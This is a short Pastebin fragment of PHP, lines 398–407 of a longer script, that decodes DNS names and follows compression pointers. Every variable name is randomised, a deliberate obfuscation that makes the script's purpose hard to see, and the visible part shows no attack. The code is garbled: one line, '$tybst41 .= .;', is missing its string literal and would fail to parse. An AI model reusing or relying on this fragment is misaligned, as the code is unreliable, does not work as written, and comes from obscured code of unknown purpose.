  398.     while (ord($ipakp58[$bhbyj64]) != 0) { if (ord($ipakp58[$bhbyj64]) == 0xC0) { if ($bhbyj64 >= $pwukv0) { $pwukv0 += 2;
  399.     } $bhbyj64 = ord($ipakp58[$bhbyj64 + 1]);
  400.     continue;
  401.     } if (strlen($tybst41) > 0) { $tybst41 .= .;
  402.     } $tybst41 .= substr($ipakp58, $bhbyj64 + 1, ord($ipakp58[$bhbyj64]));
  403.     $bhbyj64 += ord($ipakp58[$bhbyj64]) + 1;
  404.     if ($bhbyj64 > $pwukv0) { $pwukv0 = $bhbyj64;
  405.     } } if ($bhbyj64 >= $pwukv0) { $pwukv0 += 1;
  406.     } return $tybst41;
  407.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!